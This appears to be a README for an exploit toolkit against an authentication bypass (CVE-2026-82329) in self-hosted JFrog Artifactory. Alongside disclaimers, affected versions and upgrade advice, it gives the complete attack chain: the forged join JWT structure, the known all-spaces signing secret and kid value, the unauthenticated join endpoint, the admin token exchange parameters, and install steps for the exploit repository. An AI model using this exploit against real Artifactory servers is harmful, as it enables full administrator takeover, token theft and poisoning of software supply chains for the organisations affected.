CVE‑2026‑82329 – JFrog Artifactory Auth Bypass Toolkit

ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

CVE‑2026‑82329 is a critical authentication bypass vulnerability in self-hosted JFrog Artifactory (versions 7.111.x through 7.161.x) that allows an unauthenticated attacker to obtain a full platform administrator token by abusing the JFrog Access cluster join mechanism.

1. Blank join key trust – JFrog Access trusts a phantom join key whose value is an empty string. Its signing secret is therefore the deterministic value 32 * 0x20 (spaces).
2. Forged join JWT – an attacker forges an HS256 JWT signed with this known secret and kid = SHA256("").
3. SERVICE token issued – POST /access/api/v1/registry/join returns a SERVICE token with scp=admin without any authentication.
4. Admin token exchange – POST /access/api/v1/tokens with scope=applied-permissions/admin&audience=* yields a full platform admin token.
5. Impact – full repository takeover, token theft, admin user creation, artifact poisoning, supply-chain attacks, and lateral movement into connected services (Xray, Mission Control, Distribution). Upgrade immediately!

• 7.111.4 – 7.111.20 – vulnerable
• 7.117.0 – 7.117.27 – vulnerable
• 7.125.0 – 7.125.19 – vulnerable
• 7.133.0 – 7.133.28 – vulnerable
• 7.146.0 – 7.146.36 – vulnerable
• 7.161.0 – 7.161.19 – vulnerable

• Upgrade to 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, or 7.161.20 or newer.
• If upgrade is not possible, restrict network access to Artifactory (never expose it to the internet) and rotate all admin tokens as a temporary workaround.

git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt

requests
urllib3
curl_cffi

The exploit uses the following JFrog endpoints and exploitation steps:

# Forged join JWT structure
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iat": <unix_timestamp>,
  "service_id": "jfrt@01",
  "kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
  "skip_node_registration": true
}

# Signing secret
secret = b"\x20" * 32

# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false

• Only use these tools on systems you own or have explicit written permission to test.
• Unauthorized access is illegal and unethical.
• The authors are not responsible for any misuse.
• Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.